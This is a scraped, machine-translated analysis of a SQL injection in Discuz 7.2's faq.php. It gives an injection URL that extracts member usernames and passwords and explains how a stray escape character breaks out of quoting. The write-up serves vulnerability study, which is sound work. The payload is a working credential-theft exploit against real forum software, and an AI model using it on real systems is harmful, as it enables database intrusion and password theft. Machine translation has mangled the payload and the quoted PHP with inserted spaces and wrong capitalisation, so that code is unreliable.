Faq of Discuz7.2. phpSQL Injection Vulnerability Analysis

Source: Internet
Author: User
This article mainly introduces the faq of Discuz7.2. phpSQL injection vulnerability analysis, including injection code and source code analysis. For more information, see

This article mainly introduces the faq of Discuz7.2. php SQL injection vulnerability analysis, including injection code and source code analysis. For more information, see

Injection code example:

The Code is as follows:


? Action = grouppermission & gids [99] = % 27 & gids [100] [0] =) and (select 1 from (select count (*), concat (select concat (username, 0x20, password) from cdb_members limit 0, 1) from 'information _ scheme '. tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x) a) % 23

Vulnerability Analysis: by phithon

The Code is as follows:


($ Action = 'grouppermission '){

...
Ksort ($ gids );
$ Groupids = array ();
Foreach ($ gids as $ row ){
$ Groupids [] = $ row [0];
}

$ Query = $ db-> query ("SELECT * FROM {$ tablepre} usergroups u left join {$ tablepre} admingroups a ON u. groupid =. admingid WHERE u. groupid IN (". implodeids ($ groupids ). ")");
...
}
Function implodeids ($ array ){
If (! Empty ($ array )){
Return "'". implode ("', '", is_array ($ array )? $ Array: array ($ array ))."'";
} Else {
Return '';
}
}

First define an array groupids, then traverse $ gids (this is also an array, that is, $ _ GET [gids]), and put the first of all values in the array in groupids.

Why does this operation cause injection?

Discuz will perform addslashes escaping on the GET array globally, that is to say, it will convert 'to \'. Therefore, if the input parameter is: gids [1] =, is converted to $ gids [1] = \ ', and the value assignment statement $ groupids [] = $ row [0] is equivalent to taking the first character of the string, that is, remove the escape characters.

Later, he processed the data with implodeids before placing it into an SQL statement. We can see the implodeids function.

A simple function is to split the $ groupids array with ',' to form a string similar to '1', '2', '3', and '4.

However, when an escape character is just obtained from our array, it will escape a normal escape character, for example:
'1', '\', '3', '4'
Is there any difference: 4th single quotes are escaped, that is, 5th single quotes and 3rd single quotes are closed.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.